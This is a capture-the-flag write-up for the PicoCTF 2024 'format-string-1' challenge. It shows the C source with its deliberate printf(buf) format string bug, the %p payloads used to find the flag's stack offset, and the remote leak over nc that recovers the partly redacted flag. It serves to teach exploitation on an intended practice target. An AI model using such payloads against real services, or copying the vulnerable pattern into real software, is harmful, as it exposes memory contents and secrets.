PicoCTF 2024: format-string-1

Recon

We’re given an executable and its source code; let’s first review the code:

#include <stdio.h>

int main() {
  char buf[1024];
  char secret1[64];
  char flag[64];
  char secret2[64];

  // Read in first secret menu item
  FILE *fd = fopen("secret-menu-item-1.txt", "r");
  if (fd == NULL){
    printf("'secret-menu-item-1.txt' file not found, aborting.\n");
    return 1;
  }
  fgets(secret1, 64, fd);
  // Read in the flag
  fd = fopen("flag.txt", "r");
  if (fd == NULL){
    printf("'flag.txt' file not found, aborting.\n");
    return 1;
  }
  fgets(flag, 64, fd);
  // Read in second secret menu item
  fd = fopen("secret-menu-item-2.txt", "r");
  if (fd == NULL){
    printf("'secret-menu-item-2.txt' file not found, aborting.\n");
    return 1;
  }
  fgets(secret2, 64, fd);

  printf("Give me your order and I'll read it back to you:\n");
  fflush(stdout);
  scanf("%1024s", buf);
  printf("Here's your order: ");
  printf(buf);
  printf("\n");
  fflush(stdout);

  printf("Bye!\n");
  fflush(stdout);

  return 0;
}

The program reads three files, if they’re not in the current working directory, the program stops. There is an obvious format string vulnerability in the call to printf(buf). The flag is read from a file into a buffer on the stack. We will read the flag from the stack as hex and then do some data manipulation on it to get the human-readable format.

Local testing

Let’s find the offset for the flag buffer on the stack. First, we create a flag.txt in the same directory as the executable, and fill it with an unique, easy to read value, such as “BBBBBBBB” which will look like 0x4242424242424242 in hex. When we’ll find that pointer on the stack we know we’re at the beginning of the flag buffer, then we will only have to look at the next 8-byte contents on stack to find the other parts of the flag, as the buffer is a continuous memory region.

By the way we’ll also create the other 2 needed files, but their content’s don’t matter here. I’ll write AAAAAAAA and CCCCCCCC in them.

$ ./format-string-1
Give me your order and I'll read it back to you:
%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
Here's your order: 0x402118.(nil).(nil).0x402116.0x7f54acd3ca80.0x4343434343434343.0x677f000a.0x7ffcb4297808.0x7f54acd71a48.0x1.0x7f54acd66f08.0x9.(nil).0x4242424242424242.0x7f54acd9000a.0x7ffcb42976f8.0x7ffcb4297700.0x7f54acd9c668.(nil).(nil).0x7f54acd91740.0x4141414141414141.0x7ffc0000000a.0x7f54acd9c2e0.0xffffffff.0x7f54acb7b678.0x7f54acd66400.0x1.0x7ffcb4297840.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.
Bye!

We notice the hex patterns we were looking for (A, B, C) and see that the flag buffer (full of 0x42 “B” bytes) is at offset 14.

Remote exploit

Now we can try this on the remote server, get the 14th pointer and the ones after:

$ nc mimas.picoctf.net 64683
Give me your order and I'll read it back to you:
%14$p.%15$p.%16$p.%17$p.%18$p.%19$p.%20$p
Here's your order: 0x7b4654436f636970.0x355f31346d316e34.0x3478345f33317937.0x31395f673431665f.[REDACTED]
Bye!

By swapping endianness (on 8-byte sequences) and removing the 0x prefix and the . suffix, we get this raw byte sequence:

7069636f4354467b346e316d34315f35377931335f3478345f663134675f3931[REDACTED]

This, when encoded back to ASCII, gives us the flag:

picoCTF{4n1m41_57y13_4x4_f14g_[REDACTED]